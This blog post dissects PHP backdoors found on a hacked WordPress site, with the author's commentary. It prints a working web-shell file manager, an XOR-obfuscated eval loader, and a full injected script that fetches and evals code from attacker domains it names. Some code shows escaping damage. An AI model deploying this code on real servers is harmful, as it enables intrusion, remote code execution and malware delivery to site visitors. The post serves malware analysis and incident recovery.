Tales from of a base64 WordPress Hack, part 4: dissection

posted in: Tech | 1

Got hit again, briefly. Was able to recover very quickly thanks to the Git repos I had set up previously. I found a couple extra backdoors, using some alternate obfuscation methods. Instead of the typical eval(base64_decode(... the attacker instead took an existing file, commented out all the code, and interwove a series of variable assignments.

I think it’s a good thing to know the enemy, and the more we know about both (a) what they are doing, (b) what they are CAPABLE of doing — the better we can both recover and detect / identify future attacks. I’ve decrypted their backdoor application and pasted it below (after the jump), with some commentary.

It looked like this:

Beast v2.0

$LZCqxcG6='...'.'........................'.'............
........6dWZlA/vHVN...g...Xc'.'nY4TImzkpFOC'.'BosyMQ5x'.
'jebP...';
$LZCqxcG6.='...fJRhKtuUGEa2'.'07DS.i18'.'39w=Lr.....';
$Ga9apg='Gi8RBHvRAub3BivR0i3g2R'.'=weFQ=T'.'7930Lvmk1s3A
lVKY13meo4KMRO4k1U'.'KAu930N=CY1LEAl8E219s0i36Y3v';
$Ga9apg.='mk1s3bRwweFQ=biLW0i36Yr4vGNBCMROK2rdKB'.'u93'.
'0N=JAsOZh'.'scYblfPBWTs979HbsmKepOn';
$Ga9apg.='G7ORk1UmeNGRyWSreFQ=2AdK0N=weF'.'Q=apO3Y793k1
DPkA9I2ATPbLvTFs'.'9h1R0NcmK/9iVW8N'.'00epJ=XR4JD1';
// ...(and so on)....

Detection, in this case, was mainly due to poor hiding on the attacker’s part. They went for a very bland “index?.php” where ? was some random letter. The shellscript scan used in the previous post will not locate these files, however one could be modified, though it will be slightly more difficult.

Inter-woven backdoor method

I tamed the content by removing the eval() and echo’d it to the terminal instead. Here’s is what it showed; I’ve reformatted it to be more readable.

The main purpose of this backdoor, aside from making it appear as though the size of the attacker’s genitals are large enough to be viewed under a microscope, is to provide some basic filesystem operations. I’ve added in some commentary in each block.

// These just set some ground rules for INI overwrites.
error_reporting(0);
@set_time_limit(0);
@ini_set('max_execution_time',0);
$action = '';

// This presumably is the "version" of the backdoor.
// I have v2.3, apparently.
if(isset($_POST['khr454sf']))
{
print("2.3");
exit(0);
}

// One thing that's interesting here is that since the data
// is being received via a POST, it means the attacker is not
// merely doing URL hacking -- there is some kind of app or
// form that's being used to paste the payload data.

// This command is for retrieving a directory listing, I think?
elseif(isset($_POST['BGJz4lcT']))
{
$action = 'get';
$path = $_POST['BGJz4lcT'];
}

// And this one is for uploading a file? (handled later on)
elseif(isset($_POST['gkoeH1Ry']))
{
$action = 'put';
$path = $_POST['gkoeH1Ry'];
if(isset($_POST['text']) && !empty($_POST['text']))
$text = $_POST['text'];
else {
print("Error|text missing");
exit(0);
}

// File info on a given path
} elseif(isset($_POST['AEIy3kbS']))
{
$action = 'info';
$path = $_POST['AEIy3kbS'];
}

// Creating a directory
elseif(isset($_POST['v98yr6tf']))
{
$action = 'mkdir';
$path = $_POST['v98yr6tf'];
}

// This is clever. It allows the attacker to modify
// the file details, such as, i believe, the last modified
// date and the permissions mode. This is presumably to make
// it more difficult to detect changed files -- although it
// appears to not work 100% as I have been able to detect
// files based on mtime alone.
elseif(isset($_POST['bm5987y8f']))
{
$action = 'modif';
$path = $_POST['bm5987y8f'];
$date = (isset($_POST['date']) && !empty($_POST['date'])) ? $_POST['date'] : '';
$mode = (isset($_POST['perm']) && !empty($_POST['perm'])) ? $_POST['mode'] : '';
if($date === '' && $mode === '')
{
print("Error|date and perm missing");
exit(0);
}
}
else
{
print("Error|no params");
exit(0);
}
if(empty($path))
{
print("Error|path missing");
exit(0);
}

/// End routing section ///

// This first line ensures that absolute paths are referenced
if(strpos($path, '/') !== 0)
$path = getcwd().'/'.$path;

// And now the command routed earlier is actually executed
switch($action)
{

// Return basic info about the inquired file
case 'info':
if(!file_exists($path)) {
print("Error|path '$path' is not exists");
break;
}

// This first block uses stat()
// http://us.php.net/manual/en/function.stat.php
$f = 'stat';
if($fstat_arr = @$f($path))

// $fstat_arr[7] is the filesize
// $fstat_arr[2] is the permissions
// $fstat_arr[9] is the mtime (last modified time)
print 'OK|'.$fstat_arr[7].sprintf("|%o",($fstat_arr[2] & 0777)).'|'.$fstat_arr[9];
else
print "Error|access denied to path '$path'";
break;

// Retrieve an existing file
case 'get':
if(!file_exists($path)) {
print("Error|'$path' is not found"); break;
}
if(!is_file($path)) {
print("Error|'$path' is not file"); break;
}
if(!is_readable($path)) {
print("Error|'$path' is not readable"); break;
}

// file_get_contents() reads a file and stores its
// contents as a string.
// http://us.php.net/manual/en/function.file-get-contents.php
// Note again the use of spliting up the function name to
// obfuscate it and make it a little harder to detect.
$f = 'file'.'_'.'get'.'_'.'contents';
if(FALSE === ($text = $f($path))) {
print("Error|can't read file '$path'");
}
else {
// This now encodes the file contents with base64_encode()
// and then outputs it to the attacker, who presumably decodes
// it on their end with base64_decode()
// http://us.php.net/manual/en/function.base64-encode.php
// http://us.php.net/manual/en/function.base64-decode.php
print('OK|'); $f = 'base'.'64'.'_'.'encode';
print($f($text));
}
break;

// As these functions are all writing to the server, they got
// lumped together.
case 'put':
case 'mkdir':
case 'modif':

// First, it prepares the pathname that will be used for
// uploading, ensuring that the trailing slash is set
// appropriately. Then, checks to make sure it's writable.
$path = rtrim($path, '/');
$updir = ($dirname_pos = strrpos($path, '/')) > 0 ? substr($path, 0, $dirname_pos) : '/';
if(!is_writable($updir)) {
print("Error|updir is not writable");
break;
}
$result = '';
$status = 'OK';

// What I don't completely understand here is why they
// obfuscate "mkdir" for the function assignment ($f = ...)
// but not for the $action comparison. I guess this is just
// something that teenagers with small genitals do.
if($action === 'mkdir') {
$f = 'mk'.'dir';
if(is_dir($path)) {
$result .= " dir '$path' exists";
$status = 'Warning';
}

// Here is where it actually attempts to create the directory
elseif(!@$f($path)) {
print("Error|can't make dir '$path'"); break;
}
}

// This is the action where it attempts to upload a file
elseif($action === 'put') {

// At first I thought this was short for "block" but I
// think it may actually indicate "location" as in "beginning"
// or "end"
$is_bloc = isset($_POST['bloc']);
$bloc = $is_bloc? $_POST['bloc'] : '';

// $fm is "file mode", "a" indicates "append"
// "unlink" is the alias for "delete" in PHP.
// http://us.php.net/manual/en/function.unlink.php
// http://us.php.net/manual/en/function.fopen.php
// "a" mode means "leave the file as-is, but append the
// written data"
$fm = 'a';
$f = 'unl'.'ink';

// "bgn" indicates "beginning" I think
// But this test checks the following:
// If there is no "bloc" provided
// *OR*
// If there *is* a "bloc" provided and it's set to write to the beginning
// Then check to make sure that the path provided is a file
// and see if the deletion of that file FAILED
if((!$is_bloc || $bloc === 'bgn') && is_file($path) && ! @$f($path))

// Assuming all that stuff happened (meaning the deletion failed)
// then set the filemode to "w", which means that it should either
// clear and rewind the file or create it.
// http://us.php.net/manual/en/function.fopen.php
$fm = 'w';

// Either way, open up that file.
$f = 'fop'.'en';

// Attempt to get a file-handle for writing
// If it fails here it bails completely.
if(($out_fh = @$f($path, $fm)) === false) {
print("Error|can't open file '$path'");
break;
}

// Prepping the functions, obfuscated.
$f = 'fwr'.'ite';
$ff = 'base'.'64'.'_de'.'code';

// This attempts to write the base64_decoded payload to the
// file. $text was set earlier, and was a provided $_POST
// data var. Once finished, close the file.
$result = @$f($out_fh, $ff($text));
$f = 'fcl'.'ose';
$f($out_fh);
if($result === FALSE) {
print("Error|can't write text to file '$path'");
break;
}
}

// Check to see if:
// -- action is something other than "put" (on this branch,
// it would have to be either "modif" or "mkdir")
// -- no "bloc" is provided
// -- or if there was a "bloc" but it's set to "end"
if($action !== 'put' || !$is_bloc || $bloc === 'end') {

//// THEN, we'll check to see that
//// -- permissions were provided
if(isset($_POST['perm']) && !empty($_POST['perm'])) {

// This time, it will be using "chmod" to change file permissions.
// http://us.php.net/manual/en/function.chmod.php
$f = 'chm'.'od';
if(!@$f($path, $_POST['perm'])) {
$result .= "|can't set path '$path' perm to '".$_POST['perm']."'";
$status = 'Warning';
}
}

//// We'll also update the file access time, using touch()
//// http://us.php.net/manual/en/function.touch.php
if(isset($_POST['date']) || !empty($_POST['date'])) {
$f = 'to'.'uch';
if(!@$f($path, $_POST['date'])) {
$result .= "|can't set file '$path' date to '".$_POST['date']."'";
$status = 'Warning';
}
}
}
print ($action === 'modif' && $status === 'Warning'? 'Error' : $status).'|'.$result;
break;

default:
print("Error|unknown op");
}

As I expected, the backdoor can do basic stuff like create files and directories, and upload stuff too. I didn’t know that they could update the access times of the files, but like I said, they weren’t doing that much, it seems. Though I admit it’s possible they WERE doing it and I just wasn’t detecting it.

Anonymous Function backdoor

Another backdoor I discovered was a lot more ingenious. This one used hexcodes and ASCII character values to anonymize the true intent of the script — it then created an anonymous function, decoded the text, and ran the script via eval()

Here’s a sample of what it looked like in the beginning. I added comments and carriage returns — it was just one fat line beforehand.

// create_function()
$_8b7b="x63x72x65x61x74x65x5fx66x75x6ex63x74x69x6fx6e";
// base64_decode()
$_8b7b1f="x62x61x73x65x36x34x5fx64x65x63x6fx64x65";

// Create an anonymous function that is the decoded version of the text provided.
$_8b7b1f56=$_8b7b("",$_8b7b1f("JGs9MTQzOyRtPWV4cGxvZGUoIjsiLCIyMzQ7MjUzOzI1MzsyMjQ7MjUzOzIwODsyNTM7MjM0OzI1NTsyMjQ7MjUzOzI1MTsyMzA7MjI1OzIzMjsxNjc7MjA ... (lots more of this) ...));

// Then try to run it.
eval($_8b7b1f56());

What’s clever about this is what the decoded text looks like. Again, comments and carriage returns are my edits.

// encryption XOR key
$k=143;

// This creates a gigantic array where each of those numbers
// is a single character, XORd with the key above to give a
// different number.
$m=explode(";","234;253;253;224;253;208;253;234;255;224;
253;251;230;225;232;167;202;208;202;221;221;192;221;175;
243;175;202;208;216;206;221;193;198;193;200;175;243;175;
202;208;223;206;221;220;202;166;180;130;133;230;225;230;
208;252;234;251;167;168;235;230;252;255;227;238;246;208;
234;253;253;224;253;252;168;163;175;173;191;173;166;180;
130;133;130;133;230;233;175;167;171;208;223;192;220;219;
212;173;255;173;210;175;174 ... (lots more) ...)

$z = ""; // Initialize the temporary buffer
foreach($m as $v)
if ($v!="")
// Append the decoded character to the string.
$z .= chr($v^$k);

// Then run the string.
eval($z);

The XOR trick was pretty clever. It XORs each number against the key (143 here) and then converts the resulting number into its corresponding ASCII character by using the chr() method.

234 ^ 143 = 101 => "e"
253 ^ 143 = 114 => "r"
253 ^ 143 = 114 => "r"
224 ^ 143 = 111 => "o"
253 ^ 143 = 114 => "r"
208 ^ 143 = 95 => "_"
253 ^ 143 = 114 => "r"
234 ^ 143 = 101 => "e"
255 ^ 143 = 112 => "p"
... and so on

The end result is this script, pasted here in its entirety. This was pre-formatted — I have done nothing to it.

Note, in particular, the fact that this one can run PHP directly *and* has built-in functions for running MySQL queries directly on a database. That’s chillingly creepy.

Lastly, this appears to be the actual backdoor that the attacker would use to execute code against the backdoors found elsewhere, as it renders an HTML form with javascript-base64 decoding built-in.




The Injected Code Itself

Last but not least is the code that the backdoor actually injects at the beginning of ALL OF YOUR PHP FILES in a given location. It’s the bit that has eval(base64_decode(...)). Here it is, with carriage returns added.

if(function_exists('ob_start') && !isset($_SERVER['mr_no']))
{
$_SERVER['mr_no'] = 1;
if(!function_exists('mrobh')){
function get_tds_777($url){
$content="";
$content=@trycurl_777($url);
if($content!==false) return $content;
$content=@tryfile_777($url);
if($content!==false) return $content;
$content=@tryfopen_777($url);
if($content!==false) return $content;
$content=@tryfsockopen_777($url);
if($content!==false)return $content;
$content=@trysocket_777($url);
if($content!==false)return $content;
return '';
}
function trycurl_777($url){
if(function_exists('curl_init')===false)
return false;
$ch = curl_init ();
curl_setopt ($ch, CURLOPT_URL,$url);
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($ch, CURLOPT_TIMEOUT, 5);
curl_setopt ($ch, CURLOPT_HEADER, 0);
$result = curl_exec ($ch);
curl_close($ch);
if ($result=="")
return false;
return $result;
}
function tryfile_777($url){
if(function_exists('file')===false) return false;
$inc=@file($url);
$buf=@implode('',$inc);
if ($buf=="")return false;
return $buf;
}
function tryfopen_777($url) {
if(function_exists('fopen')===false) return false;
$buf='';
$f=@fopen($url,'r');
if ($f) {
while(!feof($f)){
$buf.=fread($f,10000);
}
fclose($f);
} else return false;
if ($buf=="")return false;
return $buf;
}
function tryfsockopen_777($url){
if(function_exists('fsockopen')===false) return false;
$p=@parse_url($url);
$host=$p['host'];
$uri=$p['path'].'?'.$p['query'];
$f=@fsockopen($host,80,$errno, $errstr,30);
if(!$f)return false;
$request ="GET $uri HTTP/1.0n";
$request.="Host:
$hostnn";fwrite($f,$request);
$buf='';
while(!feof($f)){
$buf.=fread($f,10000);
}
fclose($f);
if ($buf=="")return false;
list($m,$buf)=explode(chr(13).chr(10).chr(13).chr(10),$buf);
return $buf;
}
function trysocket_777($url){
if(function_exists('socket_create')===false)return false;
$p=@parse_url($url);
$host=$p['host'];
$uri=$p['path'].'?'.$p['query'];
$ip1=@gethostbyname($host);
$ip2=@long2ip(@ip2long($ip1));
if ($ip1!=$ip2)return false;
$sock=@socket_create(AF_INET,SOCK_STREAM,SOL_TCP);
if (!@socket_connect($sock,$ip1,80)){
@socket_close($sock);return false;
}
$request ="GET $uri HTTP/1.0n";
$request.="Host: $hostnn";
socket_write($sock,$request);
$buf='';
while($t=socket_read($sock,10000)){
$buf.=$t;
}
@socket_close($sock);
if ($buf=="")return false;
list($m,$buf)=explode(chr(13).chr(10).chr(13).chr(10),$buf);
return $buf;
}
function update_tds_file_777($tdsfile){
$actual1=$_SERVER['s_a1'];
$actual2=$_SERVER['s_a2'];
$val=get_tds_777($actual1);
if ($val=="")$val = get_tds_777($actual2);
$f=@fopen($tdsfile,"w");
if ($f) {
@fwrite($f,$val);
@fclose($f);
}
if (strstr($val,"|||CODE|||")){
list($val,$code)=explode("|||CODE|||",$val);
eval(base64_decode($code));
}
return $val;
}
function get_actual_tds_777(){
$defaultdomain=$_SERVER['s_d1'];
$dir=$_SERVER['s_p1'];
$tdsfile=$dir."log1.txt";
if (@file_exists($tdsfile)){
$mtime=@filemtime($tdsfile);
$ctime=time()-$mtime;
if ($ctime>$_SERVER['s_t1']){
$content=update_tds_file_777($tdsfile);
}
else{
$content=@file_get_contents($tdsfile);
}
}
else {
$content=update_tds_file_777($tdsfile);
}
$tds=@explode("n",$content);
$c=@count($tds)+0;
$url=$defaultdomain;
if ($c>1){
$url=trim($tds[mt_rand(0,$c-2)]);}return $url;
}
function is_mac_777($ua){
$mac=0;
if (stristr($ua,"mac")||stristr($ua,"safari"))
if ((!stristr($ua,"windows"))&&(!stristr($ua,"iphone")))
$mac=1;
return $mac;
}
function is_msie_777($ua){
$msie=0;
if (stristr($ua,"MSIE 6")||stristr($ua,"MSIE 7")||stristr($ua,"MSIE 8")||stristr($ua,"MSIE 9"))
$msie=1;
return $msie;
}

function setup_globals_777(){
$rz=$_SERVER["DOCUMENT_ROOT"]."/.logs/";
$mz="/tmp/";
if (!@is_dir($rz)){
@mkdir($rz);
if (@is_dir($rz)) {
$mz=$rz;
}
else{
$rz=$_SERVER["SCRIPT_FILENAME"]."/.logs/";
if (!@is_dir($rz)){
@mkdir($rz);
if (@is_dir($rz)){
$mz=$rz;
}
}
else{$mz=$rz;}
}
}
else{$mz=$rz;}
$bot=0;
$ua=$_SERVER['HTTP_USER_AGENT'];
if (stristr($ua,"msnbot")||stristr($ua,"Yahoo"))
$bot=1;
if (stristr($ua,"bingbot")||stristr($ua,"google"))
$bot=1;
$msie=0;
if (is_msie_777($ua))
$msie=1;
$mac=0;
if (is_mac_777($ua))
$mac=1;
if (($msie==0)&&($mac==0))
$bot=1;
global $_SERVER;
$_SERVER['s_p1']=$mz;
$_SERVER['s_b1']=$bot;
$_SERVER['s_t1']=1200;

// This next line evaluates to: http://ens122zzzddazz.com/
$_SERVER['s_d1'] = base64_decode('aHR0cDovL2VuczEyMnp6emRkYXp6LmNvbS8=');
$d='?
d='.urlencode($_SERVER["HTTP_HOST"]).
"&p=".urlencode($_SERVER["PHP_SELF"]).
"&a=".urlencode($_SERVER["HTTP_USER_AGENT"]);

// This one evaluates to: http://cooperjsutf8.ru/g_load.php
$_SERVER['s_a1']=base64_decode('aHR0cDovL2Nvb3BlcmpzdXRmOC5ydS9nX2xvYWQucGhw').$d;

// This last one is: http://nlinthewood.com/g_load.php
$_SERVER['s_a2']=base64_decode('aHR0cDovL25saW50aGV3b29kLmNvbS9nX2xvYWQucGhw').$d;

$_SERVER['s_script']="nl.php?p=d";
}

setup_globals_777();

if(!function_exists('gml_777')){
function gml_777() {
$r_string_777='';
if ($_SERVER['s_b1']==0)
$r_string_777='';
return $r_string_777;
}
}
if(!function_exists('gzdecodeit')) {
function gzdecodeit($decode){
$t=@ord(@substr($decode,3,1));
$start=10;
$v=0;
if($t&4){
$str=@unpack('v',substr($decode,10,2));
$str=$str[1];
$start+=2+$str;
}
if($t&8){
$start=@strpos($decode,chr(0),$start)+1;
}
if($t&16){
$start=@strpos($decode,chr(0),$start)+1;
}
if($t&2){
$start+=2;
}
$ret=@gzinflate(@substr($decode,$start));
if($ret===FALSE){
$ret=$decode;
}
return $ret;
}
}
function mrobh($content){
@Header('Content-Encoding: none');
$decoded_content=gzdecodeit($content);
if(preg_match('/)/si',gml_777()."n".'$1',$decoded_content);
}else{
return $decoded_content.gml_777();
}
}
ob_start('mrobh');
}
}
?>

And there you have it.

Leave a Reply

This site uses Akismet to reduce spam. Learn how your comment data is processed.